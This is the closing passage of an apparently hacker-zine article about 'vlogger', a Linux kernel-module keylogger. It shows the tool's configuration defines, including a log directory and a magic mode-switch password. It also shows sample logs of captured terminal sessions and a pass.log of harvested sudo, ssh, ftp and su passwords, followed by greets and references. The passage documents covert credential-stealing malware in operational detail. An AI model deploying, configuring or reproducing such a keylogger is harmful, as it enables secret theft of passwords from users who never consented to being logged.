#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS // then press VK_TOGLE_CHAR key 3.5. - How to use ¶Change the following options
// directory to store log files
#define LOG_DIR "/tmp/log" // your local timezone #define TIMEZONE 7*60*60 // GMT+7 // your magic password #define MAGIC_PASS "31337" Below is how the log file looks like:
[root@localhost log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2 ---in dumb mode
[root@localhost log]# head tty2 // local session <19/06/2002-20:53:47 uid=501 bash> pwd <19/06/2002-20:53:51 uid=501 bash> uname -a <19/06/2002-20:53:53 uid=501 bash> lsmod <19/06/2002-20:53:56 uid=501 bash> pwd <19/06/2002-20:54:05 uid=501 bash> cd /var/log <19/06/2002-20:54:13 uid=501 bash> tail messages <19/06/2002-20:54:21 uid=501 bash> cd ~ <19/06/2002-20:54:22 uid=501 bash> ls <19/06/2002-20:54:29 uid=501 bash> tty <19/06/2002-20:54:29 uid=501 bash> [UP] [root@localhost log]# tail pts11 // remote session <19/06/2002-18:48:27 uid=0 bash> cd new <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code . <19/06/2002-18:48:21 uid=0 bash> lsmod <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002-18:48:28 uid=0 bash> ls -l <19/06/2002-18:48:30 uid=0 bash> tail pts11 <19/06/2002-18:48:38 uid=0 bash> [UP] | more <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt <19/06/2002-18:50:48 uid=0 vi> :q <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger ---in smart mode
[root@localhost log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh [19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234 Please check http://www.thc.org/ for update on the new version
of this tool.
4. - Greets ¶Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections
5. - References ¶1 Linux Kernel Module Programming
2 Complete Linux Loadable Kernel Modules - Pragmatic
3 The Linux keyboard driver - Andries Brouwer
4 Abuse of the Linux Kernel for Fun and Profit - Halflife
5 Kernel function hijacking - Silvio Cesare
6 Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
7 Kernel Based Keylogger - Mercenary
|